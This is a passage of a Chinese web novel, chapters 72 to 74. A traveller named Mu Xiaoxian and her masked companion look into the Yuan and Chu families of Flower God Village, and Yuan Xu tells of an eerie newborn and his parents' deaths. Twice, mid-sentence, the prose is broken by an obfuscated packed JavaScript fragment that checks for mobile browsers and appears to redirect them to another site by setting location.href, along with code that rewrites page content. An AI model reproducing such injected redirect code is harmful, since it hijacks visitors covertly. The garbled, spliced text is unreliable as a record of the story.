元叙的身体不着痕迹地向后挪了一寸,神色有些僵硬的答道:“表叔,这位是慕小闲慕姑娘,这位是白衣,是慕姑娘的表哥。” 中年男人冲他们点点头:“你们好,我是元叙的叔父,我叫元嵘。” 原来这个男人是元叙的叔父。慕小闲瞥了元叙一眼,带着些许不解。 元嵘问道:“你们说认识那只猴子,你们知道它的来历?” 慕小闲点点头:“我们听说了,它是来给你送黄花菜的对吧?” 元嵘脸上的笑意更甚:“是啊,这些小猴子可喜欢黄花菜了。”他侧身道:“我带你们去见它。” 慕小闲未觉有他,立马跟了上去。 元嵘带他们从堂中穿过,进了后院之中,厢房中传来糯糯的声音和一阵嬉笑。 红木桌旁,小猴子坐在一位容貌温婉的妇人腿上,正长大了嘴巴等着对方的喂食,勺子喂进口中,小猴子享受得眯起了眼睛。 慕小闲看到这一幕轻轻哼了一声,心里有些不悦,仿佛看到了胳膊肘往外拐的孩子。 女子着一身绣花衣裳,梳着妇人发髻,约莫双十模样,长相温婉、眼神灵动,见他们进来也没松手,抱着猴子站起来,好似与它十分亲昵。她走到门边,先是若有若无地看了元叙一眼,笑着对元嵘说:“夫君,家里来客人了?” 元嵘脸上笑容不变,对这位妇人说话的语气比刚才还要温和几分:“芸儿,这两位是元叙的朋友,慕姑娘、白公子。”他在说“元叙”的时候微微加重语调,妇人若有所思地在他们身上扫视一圈,温柔地笑道:“既然是元叙的朋友,那就是我们的客人。梅婶,快换一桌好菜!” 慕小闲的眼睛盯着她怀中的小猴子,不知是不是眼神有些骇人,小猴子见了她,愈加攥紧了芸儿的衣襟。 72. 第 72 章 慕小闲伸手去抱小猴子,谁知它眼珠一转,居然扭头往那女人怀里缩。芸儿眸光掠过一丝狡黠,将小猴子搂紧,避开了慕小闲带着杀气的眼神,在它身上顺着毛安抚了几下,小猴子极为受用。 慕小闲扯了扯嘴角,冷言道:“猴子没人那么爱干净,它在山里几个月洗一次澡,身上不知有多少灰尘虫螨,夫人居然敢抱他,实乃强人,失敬失敬。” 不知是谁在她耳后轻笑了一声。 芸儿一僵,与小猴子对视一眼,笑容僵在唇边。 她缓缓将小猴子放下,对他们说:“贵客请坐,家宴过会儿就上。我陪小猴子玩了一日,都没来得及梳妆。真是太失礼了。我先回去打理一下,你们稍等。” 她看了眼元嵘,低头从门边跨过,逃也似的走了。 元嵘客气地招呼他们进屋,瞥了一眼瞪大了两只眼睛、天真无邪地望着他们的小猴子,笑道:“玩的可欢心?” 小猴子点点头,学着他们爬上桌边镂花雕刻的木凳,与他们一同坐在桌边,像是个孩子一般。 慕小闲斜斜瞥了它一眼,心道:你倒是适应力强。 白衣与元叙落座在慕小闲两旁,两人都没有说话。 家仆端上几杯斟好的茶放在他们身前,默默退到门边。 元嵘拂了拂茶杯冒出的热气,寒暄道:“二位不是这里人吧。与小侄是如何认识的?” 慕小闲浅饮一口:“我们是来游山玩水的,路过花神村觉得这里风景优美,想歇息几天再启程。正好碰上元叙收留了我们。” 元嵘点点头:“不知二位是从哪里过来的?” 慕小闲随口胡掐道:“是东边两千里那个鸟神村。我们村子特别崇拜天上自由翱翔的飞鸟,所以叫鸟神村。” 元嵘貌似来了兴趣,追问道:“鸟神村?我从未听过这个名字。说来惭愧,花神村四周环山,出去一趟并不方便,我们从未去过两千里外的地方。鸟神村是什么样子?可与花神村有何不同?” 慕小闲镇定地放下杯子,煞有其事地说:“要说鸟神村和花神村最大的不同,是鸟神村敬爱各种鸟类,那里的鸟不怕人,街头巷尾随处可见各色漂亮的鸟儿。人们在鸟类栖息的地方放上上好的谷物和水,每年鸟类迁徙之时会有大量的候鸟停歇在村子里休息,百鸟争鸣的景观可谓壮观。” 元嵘眼中流露出一丝向往,不禁感叹道:“我们世代留守在花神村,不知外面是什么样子,若是有机会真想出去见上一见。” 他的余光不着痕迹地从小猴子身上扫过,问:“二位与这小猴子认识?” 慕小闲“嗯”了声:“它下山时误入了元叙的菜园子,碰巧被我们发现,我们就把它捡了回去。” 小猴子冷哼一声:什么叫捡回去? 元嵘眼角压出了笑纹:“倒是和二位有缘。” 家仆匆匆上来摆了几道菜。慕小闲一看来了兴致,食材丰富制作精良,香味扑鼻,味道必然不错。 此时芸儿换了一身庄重的打扮过来,面上补了胭脂腮红,身上有一股淡淡的皂荚味。 她露出端庄的微笑坐在元嵘身侧,含情脉脉地看了他一眼,柔声道:“我来晚了。” 元嵘微微侧身,温和地说:“没事。” 主人动筷,意味着开席。 家仆装了些饭菜放在小猴子身边,它的目光在桌边扫视一圈,拿起勺子有模有样吃起来。 慕小闲伸出筷子夹了块烧鸡,细细品着其中鲜嫩的肉质与汁水,仿佛被触动了心里的一块“柔软”。她不动声色地又夹了一块,只有白衣察觉到了她嘴角浮现的弧度。 见白衣一直没有动筷,元嵘问:“这位小兄弟,是不是家里准备的饭菜不合胃口?你喜欢吃什么,我叫厨房再去准备几样。” 吃东西必然要摘面具,白衣恐怕不想在这里露出真容。未等白衣出声,慕小闲摆摆手说:“他这几日肠胃不舒服,不能随便吃东西。我替他吃。” 元嵘目光略带迟疑地多打量了白衣几眼,但他带着面具,看不出脸色:“肠胃不适?要不要让我看看,去抓几副药。” 慕小闲忘了这家就是开医馆的,要不是真让他看,说不定会露馅。她在桌子底下踢了元叙一脚,元叙立刻会意,配合道:“早先我已经看过了,白兄是有点水土不服,这几日注意点就行。” 元嵘不再追问,浅浅品了口茶,又将话题引回了小猴子身上:“二位有所不知,这小猴子回来找我,是因为与我祖上有些渊源。” 慕小闲眼睫一颤,泰然问道:“这样,是什么样的渊源? 元嵘解释道:“我的先辈上山收集入药的材料,碰巧遇见了只受伤的猴子,所以救了它。这些猴子非常有灵性,之后每年这个时候都会送一束黄花菜来家中。这只小猴子也是因此才找来的。” 慕小闲挑眉:“为什么会选黄花菜?” 元嵘唇边的笑意一顿:“也许与先辈当年有什么约定吧。” 芸儿看了眼元嵘,眼中有些嗔怪:“小猴子记了这么多年,它们的感谢之情我们早就心领了。但它们一直没有露面,我们也不知去哪儿寻它们。”她又转头看向小猴子:“下山一趟不容易,所以这次见着了,我们打算多招待它几天,也算是礼尚往来。” 小猴子似懂非懂地点点头。 慕小闲瞥了小猴子一眼:“也好,我们前来也是为了看看它要找的是什么样的人。如果元叔如此宽厚,我们就放心了。不过小猴子是山上来的,就怕村子来来往往人多吓到他,晚些时候还是跟我们回山下住吧。” 一听要跟他们回去,小猴子微微蹙起眉,嘟着嘴横了慕小闲一眼。 慕小闲心里郁结,诶,这小猴子,怎么半天不见就翻脸不认人了? 芸儿笑道:“二位放心。我们医馆世家,尊奉的是医者仁心悬壶济世,必然不会怠慢这小猴子。还是让它自己来选吧。” 慕小闲偷偷凑近了小猴子的耳朵嘀咕道:“这些精致菜肴都是给人吃的,你吃不了,跟我们回去,田里的玉米随便吃。” 小猴子不知被芸儿灌了什么迷魂药,竟然扭过头去不看她,伸手要芸儿抱抱。 芸儿脸上的笑意更浓,却没有接过小猴子,对慕小闲道:“看来它更想留下。慕姑娘不必担忧,我们一定将它照顾好。它多可爱啊。” 小猴子别的听不懂,但对表扬特别敏感,脸上顿时笑开了花。 慕小闲呵呵笑道:“这孩子,别人的都觉得是好的。” 元嵘放下筷子:“二位在元叙那儿住的惯吗?他那里什么都好,就是晚上山里的寒气下来,特别阴冷潮湿。二位不如搬来这里,我这儿还有几间空房。” 元叙伸出的筷子在空中停顿了一下,最后草草夹了些素食,心不在焉地落在碗中。 慕小闲察言观色,一眼就看出这话让元叙心里不舒服,对元嵘笑着摇摇头:“我们不过几天便走,就不麻烦了。” 元叙听了,好像松了一口气。 元嵘对他们游山玩水的经历十分感兴趣,追问了几句,慕小闲硬着头皮胡扯一通,全靠飞升前通识教育的知识储备。 “真有意思。要是我们也能出去就好了。”芸儿撑着脸,眼里露出憧憬的神色。 “这有何难,只要你想便能出去。”慕小闲说。 芸儿一顿,摇了摇头说:“不。也不是,我们祖祖辈辈都在这个村子,几乎没人出去。” 元嵘遗憾地点点头:“我们早已不知道外面是什么样子,恐怕已经无法融入外面的世界了。” 慕小闲挑了一筷子青绿色小炒,心想,早知今日何必当初。 “慕姑娘觉得这些菜味道可好?”元嵘问。 慕小闲点点头:“很合口味。” 元嵘与芸儿对视一眼:“那就好。我怕慕姑娘见识广、不乐见这些小菜,责怪我们招待不周。” 慕小闲轻轻嘶了一声:“不会不会。我们还怕贸然前来会打搅你们。” 如此恭维的话如同车轱辘滚过来滚过去,最终元叙受不了放下筷子,与白衣一同杵在桌边表演“木头人”。 元嵘不赞同地看了元叙一眼:“小侄,你最近如何?” 元叙淡淡地答道:“一切如常。” 元嵘眼中的笑意敛了敛:“你还想着褚家姑娘?” 元叙放在桌下的手攥了攥:“与叔父无关。” 芸儿脸上浮现淡淡的愁容,气氛一时有些微妙,慕小闲的目光在几人身上逡巡。 “与我无关?”元嵘重复了一遍,蹙起眉头,语重心长道:“早年你们玩的好,是褚家想要依附元家。我们家哪次得了新的草药没有匀一些送给他们?他们从我们家学走了多少东西?要是没有元家帮衬,他们能有今天?褚家这些年发展的不错,他们对你的态度便越来越不好了。其中到底怎么回事,你看不出来吗?” 元叙眼中划过痛苦之色:“别说了。” 元嵘换了眼色,转头对慕小闲说:“家里事见笑了。慕姑娘多吃一点。” 约莫又是那种踩着别人上升的老旧情节。慕小闲又加了几筷子,但身旁两人不吃不语,甚至还有隐隐约约的寒气飘过来,她便有些吃不下了。 饭后,从元宅告辞,元叙声称身体不适先返回家中。 慕小闲与白衣漫步在花神村的街头,天色渐暗,暮色一口一口吞噬了天边的云雾,街上人烟不多,矮矮的房屋院落溢出暖黄的光线。 街景算不得有趣,慕小闲一心只想快点找到不同寻常之处,于是拉着一位刚从田间回来的老头问:“老伯,今天收成怎么样?” 老伯两鬓斑白,穿着简朴,扛着一只竹篓子,见慕小闲和他搭话,放慢了脚步:“老样子,种的粮食还没到收获的时候,这不摘了点菜叶子回来,晚上炒两个小菜。” 慕小闲凑上前看了看篓子里的绿叶菜,说:“这菜叶子长的好,老伯你种菜真有一套。” 老伯笑得灿烂,摆摆手道:“不是我厉害,是我们花神娘娘保佑,年年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137736|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风调雨顺,庄家长的自然很好。我看今年又能丰收哩!” 慕小闲好奇道:“花神娘娘真有那么神?花神村这些年就没出过什么乱子?” 老伯一听有些不高兴了:“能有什么乱子?花神娘娘可是专门来保佑我们花神村的!我们不愁吃穿,每天过的几快活。” 慕小闲知道这快活日子过不了几天了,但不忍戳破,于是笑道:“是啊,真羡慕你们,每天都这么悠闲自在。” “是嘛,这日子多舒服。”老伯躬身背着竹篓子缓缓走远。 慕小闲与白衣往前走了几步,就见元家的医馆还未打烊。 慕小闲在这间“元氏医馆,医者仁心”的门匾前端详了一会儿,对白衣挤了挤眼睛:“我们进去看看?” 医馆的打杂正在擦桌子,见他们二人神清气爽地走进来,疑惑道:“二位是有哪里不舒服吗?” 慕小闲立马变了神情,好似软弱无力地搭上白衣的手,捂着肚子,皱眉哼哼道:“早上吃了点生冷的,不知怎么肚子就开始隐隐作痛,过了一日也不见好,折腾死我了。你们大夫呢?” 打杂见慕小闲疼得喘不上气,丢下抹布,就将人往里头引。 坐诊的大夫是个中年男子,见慕小闲面生暗暗打量了几眼,突然感到身上一阵寒意,就见那带着面具的白衣人正看着他。 “是早上吃了生冷的东西才开始不舒服的吧?”大夫搭上慕小闲的手腕,凝眉思忖了片刻,宽慰道:“我看姑娘脉象平稳,脾胃康健,不像有什么大事,不如......喝杯热水?” 慕小闲正在屋里四处乱瞟,一听大夫这话委实准确,但又不能就这么轻易离开,于是一拍桌子:“要是喝热水有用,还要大夫做什么?我浑身都不舒服,你先给我开个方子吧。” 大夫啧了两声,摇头道:“方子不能乱开,我看姑娘不像是有病,还是不要为难我们这间小小医馆了。” 慕小闲眼神阴郁起来,盯着大夫不说话,看得大夫心中发毛,眼皮耷拉下来,妥协道:“不过姑娘身体略显疲态,吃点安神的药也是无妨,这样,我开个方子你去对面那家药铺取药,若是想吃便吃吧......” 槐树荫下,白衣捏着药方看了看:“与元叙开的一般无二。” 慕小闲望向街对面那家褚家药铺,犹豫再三,还是前去抓药。 褚家的药铺是元氏医馆的两倍大,虽然装修简朴,却有一面墙的药柜。褚家药铺的伙计手脚勤快,方子递给他,不消片刻便扎好了。 慕小闲也没看出哪里不对,只得悻悻地离开。 从药铺出来时,天色昏沉,月色透过云雾撒下清泠泠的光。未出几步便撞见了褚家弟弟,他见慕小闲面熟,不由多看了几眼,突然反应过来是那日在元叙身边卖艺的人。他疑惑地看了一眼她手中提的药,脸上露出不悦:“你们来做什么?是元叙让你们来的?” 慕小闲不想和叛逆期少年掰扯,以防节外生枝,抬腿就要往外走:“还真不是。” 褚也瞥了慕小闲一眼,转而被白衣一身行头吸引过去,眼神嫌弃地说:“这个人一身白真不吉利。” 慕小闲停下脚步,冲他挑眉道:“一身白怎么了?干净!我就喜欢。” 闻言,白衣淡淡瞥了她一眼。 褚也撇撇嘴,不满道:“你们告诉元叙,别打我姐主意。不然我会揍他!” 慕小闲哼了一声:“你也太看不起人了,我看元叙虽然清贫至少人比你善良有礼,你还真不如他。” 褚也也不示弱,嚷嚷道:“比我好你嫁给他啊,正好断了他的想法。” 慕小闲眼底闪过怒意:“恩将仇报的白眼狼。听说元家过去帮了你家不少,你就是这么报答他们的?” 褚也一愣,眼神复杂起来,瞪着慕小闲问:“你什么意思?”他如同炮筒被点燃了一样,肉眼可见头顶冒起烟来,大吼道:“我们家清清白白,没干过见不得人的事!你从哪里听来的闲言碎语?是不是元叙说的?给我说清楚!”看他的样子像是对过去两家之间发生的事一无所知。 慕小闲懒得和他瞎扯,扯也扯不清楚,白了他一眼:“你不了解就不要乱说,不如回去问问你家长辈究竟是怎么回事。” 慕小闲与白衣扬长而去,留下褚也站在树下望着他们的背影,眉头渐渐拧紧。 忙活一天什么也没发现,慕小闲蹲在乡间小道上,望着山外天边一轮朦胧的月光,语气怅然地说:“这村子一定有古怪!可是为什么一点蛛丝马迹都没有呢?” 白衣站在她身后若有所思:“古怪......” 慕小闲“腾”地站起来:“你是不是发现了什么?” 她起来的突然,两人之间瞬间拉近,她眼中细碎的光猝然撞入他的眼底,像绽放于黑夜的星辰。 白衣微微后仰,拉开了与她的距离:“没有。” 慕小闲眼中的光转而黯淡。 白衣见她这副模样,心里叹了口气:“回去问问元叙吧。” 73. 第 73 章 暝色从山头笼罩下来,元叙收了些稻子堆在院里,等着明日出太阳后晾晒。清理一番后,他坐在屋里思索起今日在元宅发生的事情,不自觉眉头敛了起来。 桌上的热茶渐渐冷却,他却未动分毫,盯着屋内的某处发呆。 慕小闲推门而入,提了桌上的茶壶倒水,一抬眼:“想什么呢,茶都凉了。” 元叙的目光在两人身上轻轻一沾,浅笑道:“没什么。只是有些乏了。” 慕小闲嘬了一口茶,眼珠不安分地转了转:“今日真是多谢元叔。” 元叙眼神闪烁:“谢他?” 慕小闲放下杯子:“谢他请我吃饭。谢他照顾小猴子。” 元叙淡然道:“这本也没什么。” 慕小闲点点头:“我看元家家大业大,宅子里还有空房,元嵘又是你叔叔,为何会让你住在这田野间?” 元叙没有避讳:“上一辈分家之后我就搬出来了,我更喜欢这种依山而居、自给自足的生活。” 慕小闲看了眼白衣,缓慢地转了转手中的杯子,状似不经意地问道:“元叔人那样好,在村子里一定很受欢迎吧。” 元叙毫无感情地“嗯”了一声,拿起杯中冷茶一饮而尽。 慕小闲面上不动声色,心里有些着急起来,但又不知从哪里问起。 白衣突然出声:“你不喜欢元嵘。” 元叙一愣。 慕小闲趁此机会赶紧问:“为什么?他对你不好?” 元叙脸上闪过一丝纠结之色:“不......” 慕小闲眼珠一转:“莫非与褚家有关?” 他垂下头:“我不知该怎么说。” 慕小闲的声音放柔和了一些:“别急。你若是愿意说,也许我们能为你出出主意。” 元叙又倒了杯茶,轻叹了一口气,犹豫再三,缓缓说:“慕姑娘、白兄,这些天我们朝夕相处,我能看出你们是好人。只是这个秘密压在我心里很多年了,我谁也不敢告诉,实在压抑得很。我可以相信你们吗?” 慕小闲与白衣对视一眼,神情认真起来:“当然可以。我们绝对、绝对不会说出去的。” 元叙长叹一口气,似乎想将这些年压抑在心中的烦闷一口气倾倒出来,搁置在膝头的手紧紧攥成了拳头,像是下了很大的决心。 “说来,其实是我的家事。元家一脉相承,做了上百年的医药生意,生活得一直很安逸。但在十年前,我父亲那一辈时,家里突然出了些事情。那一年药堂伙计抓药的时候,一时疏忽弄错了方子,导致一户老人用错了药不治而亡。那户人家闹上门,元家赔了很多钱。这件事本应该就这么结束了,但村里的药材与香料长时间被元家攥在手里,村里人早就想要分一杯羹,于是借题发挥,将这件事情闹得沸沸扬扬。 “村里人砸了元家的店,想逼元家将配方拿出来。元家一直行医救人,村里无人没有用过元家的药草和香料,但他们却为了利益忘恩负义,做出这种不入流的事情。我爷爷当时年岁已高,被气得大病一场,没过多久就去了。我爹与阿宁的父亲是旧友,褚叔叔那段时间暗中帮了不少忙。 “爷爷去世前,让我爹与叔父分家,叔父守着元宅继续做原来的生意,我们一家搬来了山脚下的这间小屋,除了晒晒药材,几乎不再从医。村里人见闹得元家分家,讨不到什么好处,渐渐就不去找叔父的麻烦。我爹从小学医,为人谨慎谦和,在医术上的造诣绝不比叔父浅。起初,我不能理解爷爷为什么这么做,为什么我们要搬到这么远的地方,还要放弃行医问诊。 “当年我无法理解的事情太多了,我每次问爹娘他们都避着不答,只是说他们年纪大了,想过最安稳平凡的生活,不想再卷入任何纷争。直到几年后叔父与芸娘生子,我们一家受邀前去庆贺......”谈到这里,元叙的神情凝重起来。 那一年离元家出事约莫过了三年,元家在动荡中站稳脚跟,事情逐渐被人淡忘。适逢元家主生子,元宅张灯结彩,街坊邻居送的红绸包裹的礼品从屋内摆到了院外。 喜宴开了十几桌,大家喝得酩酊大醉,恭贺的话来来回回。 元叙那时还不及十岁,从未见过如此热闹的场面。 喜宴开席许久,元嵘和芸儿忙着招待客人,迟迟不见新生的孩子,有人问道怎么不把孩子抱出来让大伙儿看看? 芸儿却说,孩子昨日突感风寒,闹到快天亮才哄睡,就不打扰他了。 元叙对大人们互相敬酒吹嘘不感兴趣,对那个不曾见过的弟弟十分好奇,于是趁无人注意偷偷溜进后院中想看一看。他很小便随父母离开元宅,童年的记忆虽然遥远,但他一路误打误撞走到了主屋。 屋内温和的烛光透出窗户,两个身影幽幽映在窗棂上,他踮起脚透过半阖的窗户向内看。 小儿床边站着元嵘和芸儿,烛光映着他们的面庞,两人眼睛一眨不眨地望着床围,脸上浮现欣慰的笑容。 是小弟弟吗? 元叙好奇地踮起脚向床上张望,透过木雕床围,只见鲜亮的锦衾包裹着一团黑乎乎的东西。他定睛一看,那团黑黑的东西没鼻子没眼,突然动了一下,竟然是活的。 身后凉风吹过,元叙背上爬上了一层寒意,两只手紧紧扣着窗沿,一时愣怔在原地。 芸儿慈爱地微笑着,轻声说道:“你看,它多好看啊。” 元嵘脸上亦挂着温和的笑意:“是啊,真好看。” 烛火陡然一窜,元嵘与芸儿的笑容诡异起来,仿佛两具没有生命的傀儡,生硬地维持着脸上的表情。 元叙吓得几欲尖叫,被人一把捂住嘴,抱起连拖几步,带离了后院。 前院依旧热闹非凡,但那些声音仿佛被高墙隔绝在外,他久久无法回神,分不清自己适才见到的是真是假。元嵘与芸儿不知何时回到了前院酒席间,脸上端的是和煦的笑容,落在元叙眼中却诡异极了。 他听见元嵘对下人说:“刚才好像有客人不小心进了内院,不知出来了没有,你可看到了是谁?” 下人探究的目光从宾客身上一一扫过,并未着急回答,目光落在元叙身上时却停留了许久。 元叙瞳孔微张,立刻垂下头去。他到底还是个孩子,脸上的颜色已经变了几番,脑海中嗡嗡作响,不知该怎么办。直到他娘猝然打了他一巴掌,他才恍然回神。 清脆的耳光让宴席的喧嚣停滞,众人不明所以地望着他们母子二人。 记忆中,他娘本是个温和贤淑的人,这时竟然急红了脸,握着他的手又狠狠拍了一下,疼得他涌出了眼泪。 “你这孩子怎么那样不听话!我说方才怎么不见你,席上的东西不够你吃,你还要偷偷去厨房里拿!” 他低下头,手中赫然出现了一只还没端上桌的最后一道菜——糖包子。他爹站在他身侧冷眼看他,怒斥道:“我是短着你吃了吗?你怎么能做出这种事!” 他身体一抖,仿佛从一场梦魇中醒来,呆呆地说:“我没有。” 她娘倒吸一口冷气,又狠狠拍了他几下:“还说没有。快点认错!” 他疼得眼泪汪汪,瘪着嘴说:“我错了。” 旁的人都在看热闹,嘴上故作好意劝道:“小孩子大抵是平日里没吃过好东西,见到便拿了,也不是什么大事。” “厨房就在院子旁边,说不定是他一时走错了,见有包子便拿了一个。” “小孩子嘛,本就是来吃席的,哪知道什么该不该拿。” 还有人拿了别的点心塞在他手中,他在众目睽睽之下,啃了一口糖包子,糖融化在口中泛着苦味。 他想吐。 元嵘不知何时出现在他的身侧,静静观察着这一场闹剧,客人散去后他别有深意地看了眼元叙,对他爹说:“不过就是一个糖包子。小侄平日里吃不到这些东西,我让厨房多准备一些,你们回去时带上。” 他爹瞪了他一眼,转而涨红着脸揽过元嵘的背,举杯再次与周遭的人闹成一片。 他娘则是在不久后,不声不响地拽着他离开,一路不停地走回家中。那夜风很大,他想回头再看一眼宅子明亮的灯笼,但娘瘦弱的身躯仿佛桎梏,紧紧栓着他不让他乱动。 他或许辩解了几句,那包子不是他偷的。 呼啸的风中传来娘的叹息。 夜里,田间万籁俱寂,爹披着月色赶回家,神色带着一丝他看不懂的凝重。 直到很久以后他才想明白,爹娘当时出此下策,是为了保护他。 三日后,爹娘上山采药,天黑未归。 那一夜冷极了,他瑟缩在狭窄的床上,一夜不敢合眼。直到第二天天边泛了鱼肚白,村里敲敲打打起来,他才恍然起身奔出门外。 村里飘着白旗,一行穿着素衣的人抬棺而出,哭声断断续续。那是元宅的家仆。 接连几日村里一片沉寂,爹娘依旧没有回来。他去褚家敲门,褚家叔叔才慌忙带人上山。 褚宁与他一般大,看他可怜拿了吃的给他,他心里压抑得吃不下,几天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137737|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间瘦的皮包骨。 褚叔叔去了三趟,回来时一行人面色如土,坐下好一阵子说不出话,一张口压抑的哽咽就涌了上来。 元叙只一眼便觉得心碎成了渣,这些天他一直在抵触的情绪到来时,反而显得过分平静淡然。 褚夫人在一旁抹了抹眼泪,搂住两个少不更事的孩子,将他们带回后院。 褚叔叔忙了几日,身上疲态尽现,眼神苍老了许多,拍在元叙的肩膀的手也像百岁老人一般颤抖不止:“我在悬崖边找到了一只鞋。” 他从怀中拿出一只有些褪色的布鞋,元叙木讷地接了过去,将宽大的布鞋捧在手中,在眼眶打转的眼泪,终究是落了下来。 “好孩子。”褚叔叔和他长坐一夜,翌日天刚蒙蒙亮时,他回到空无一人的家中。 那一夜,褚叔叔告诉他,当年他父亲搬出元宅,或许是元嵘的意思,今后离元嵘远一点。他并未多说,但元叙天生聪慧,多少领会了他的意思。 “我花了很长时间才从这件事中走出来,褚家碍于元嵘在村子里的势力,明面上不敢与我有太多交集。宁儿......小时候与我走的近,这些年断断续续有联系,但褚也年纪小,对之前的事情一无所知。” “元嵘有过孩子?”慕小闲凝眉。 元叙举着茶杯的手一顿,垂眸看着桌沿:“那个孩子很早就夭折了。” 慕小闲的手指在茶杯上摩擦,细细思索着元叙说的话。他的叙述太模糊了,好像哪里都大有文章可作。 “那个孩子是怎么夭折的?” 元叙摇摇头:“也许是天生有疾。我不知,那几日我心绪不宁,外面发生了什么都不知道,后来也没人再提起这件事。” 那孩子夭折的日子也许与元叙父母跌下山崖是同一时间,那时他翘首以盼父母归家,没心思理会也是自然。 “褚家怎么知道你父母出事了?”慕小闲问。 “山上悬崖边有一些珍稀药草,我爹娘之前也铤而走险去摘过。而且,褚叔叔带了好几人上山,他们都知道这件事情。” 慕小闲点了点头,琢磨道:“你对元嵘的抵触就是因为在新生儿喜宴上发生的事?你确定当时看清了吗?” 元叙眼神闪烁,杵在膝盖上的手微微颤抖:“那天晚上发生的事情太诡异,在后院主屋看见的那一幕总是在我眼前挥之不去,时间久了,我也不知是不是我产生了幻觉。” 慕小闲见此,握住他的手安慰道:“不论发生了什么,都过去了。”她依旧毫无头绪,元家当年的纷争究竟和她要找的真相有没有关系? 慕小闲又问道:“村东头三岔路口往东走三步,第三棵槐树后是哪里?” 元叙思索了一下:“是元宅的后门。” 那便没错。 慕小闲走进院里深吸了一口气,随后白衣跟了出来。 “元家确实就是当年救了猴子那户人家。但总觉得哪里不对。” “除了地点之外,应该还有别的东西可以辨认。”白衣说。 “你是说......黄花菜?”慕小闲向田间望去,那片金灿灿的黄花菜在阳光的照耀下明媚得刺眼。这种地里一抓一大把的花有什么特别? 慕小闲神情一滞,脑海中好像突然捕捉到了什么。 记忆力中,花莳捏着轻蔑的口气:“几百年前,有村民上山采药救了山上的动物,后来每年的那天他家门口都能收到一束山里的黄花,所以村民们就认为山里头有个花神,在向他表达谢意。” 花神山上哪有什么黄花菜?山里黄色的...... “是黄花萱草。”她眼睛一亮。 花神山瀑布弥漫的水雾之中,湍急的小溪边盛开着大片金黄的萱草,在日晖与清风遥相呼应下汇成了一片金色的海浪。 “是了,当年那只猴子摔下悬崖,体内出血,元家祖先就地采了萱草让它服下止血。所以每次猴子下山时,会采摘一些山上的萱草带给他。元嵘以为那是黄花菜,因为他并没有亲眼见过猴子送来的花。”慕小闲肯定地说。 她喜出望外地转头看向屋内元叙的影子,不一会儿又泄了气。 猴子报恩又不是继承皇位,连猴子都忘了要送哪种花,元家记不记得根本不重要。这种口口相传的模式,也许再过几轮,变成丝瓜花了也不一定,反正路上有什么便摘什么,总归意思到了就行。 “还有褚家,他们的态度很微妙。”慕小闲说。为什么褚叔让元叙离元嵘远一点?他是不是知道什么? 74. 第 74 章 暮色降临,村里亮起盏盏灯火,喧嚣逐渐随着落日流云一同隐去。 白衣带着慕小闲越过高墙,跳上褚家屋顶,在琉璃瓦上不着痕迹地游走。褚家不及元家气派,院子不分前后,一排房屋中唯有一大亮。 慕小闲小心翼翼地将一瓦片挪开一条缝隙,屋内烛火的亮色撞进她眼底,向下看去,褚家一家人整整齐齐围坐在桌子旁。 除了褚也,其他几位的相貌她并不熟悉,褚宁与褚也长得有六分像,有些小家碧玉,她举止温柔内敛,气势上与褚也差了一大截。 一家人吃饭总免不了拉些家常,但这些话中没有慕小闲需要的信息,不一会儿她就开始神游。 直到白衣轻轻扯了一下她的袖口,将她的注意力拉回来,她才听到屋里传来:“我听说今天元叙回了趟元家,你们知道这件事吗?” 慕小闲默默点点头。 褚也在外性子急,但对父母还是客气的,不过嘴上依旧不饶人:“他爱去哪儿去哪儿,关我们什么事?” 褚叔拿筷子的手一顿,幽幽叹了口气:“阿也,我怎么跟你说的?元叙那孩子命苦,他爹娘没了,亲叔叔也不帮衬他,一个人孤苦伶仃的。我们应该对他好一些。” 褚也轻哼一声,嘟起嘴:“好什么好,我们对他那么好,他却在外边说我们的闲话,还说我们家事靠元家发达的。” 褚父与褚母对视一眼,问:“怎么回事?” 褚也道:“今天我去药铺时,遇见他带来的那两个卖艺的,说是来抓药,其实是来兴师问罪的,说我们是白眼狼。若不是元叙,他们听谁说的?元叙就是觊觎姐姐,故意在外编排我们。我不懂为什么元家就剩个空壳了,他们为什么还那么嚣张?” 慕小闲凝眉,什么叫元家只剩个空壳? 褚夫人对元叙并不熟悉,听了褚也的话信以为真,神色隐隐流露出一丝鄙夷,看了眼褚叔,又看了眼对面没出声的女儿:“他怎么能这么说。元叙这孩子虽然小时候人不错,但这些年在外生长也不知道长成了什么品性。他靠不上元家,他住的那地方我看了都受不了,宁儿离他远一点也好。” 褚宁垂眸,筷子在碗里兴致缺缺地扒拉几下,抬头坚定道:“元叙不是那样的人,一定是有误会。” 褚叔沉默半晌,眼底露出一丝沉重:“我也觉得或许是有误会。当年元家内斗,他父亲何其无辜,元叙他能活下来不容易。这孩子的心性我看还是不错的,况且宁儿不是喜欢......” 褚也抢过话头:“谁喜欢他,爹你别乱说,影响姐姐以后嫁人。” 褚宁“啪”地扔下筷子,狠狠瞪了褚也一眼,声音微微发颤,像只受惊的兔子红着眼说:“谁说我不喜欢?” 褚也哼了一声,阴阳怪气地抬抬眉:“你喜欢他什么?他家徒四壁、一无所有,在村子里无依无靠,身无二两肉,干不得重活打不起架,没有姑娘想嫁他,除了你脑子不清醒。” 褚宁咬着唇,眼中闪过刺痛,轻轻抚上他的手背,苦心提醒道:“阿也,你小时候上街吵着要吃麦芽糖,他二话不说就给你买了,他这些年是过的清贫,但对我们没有半点不好。” 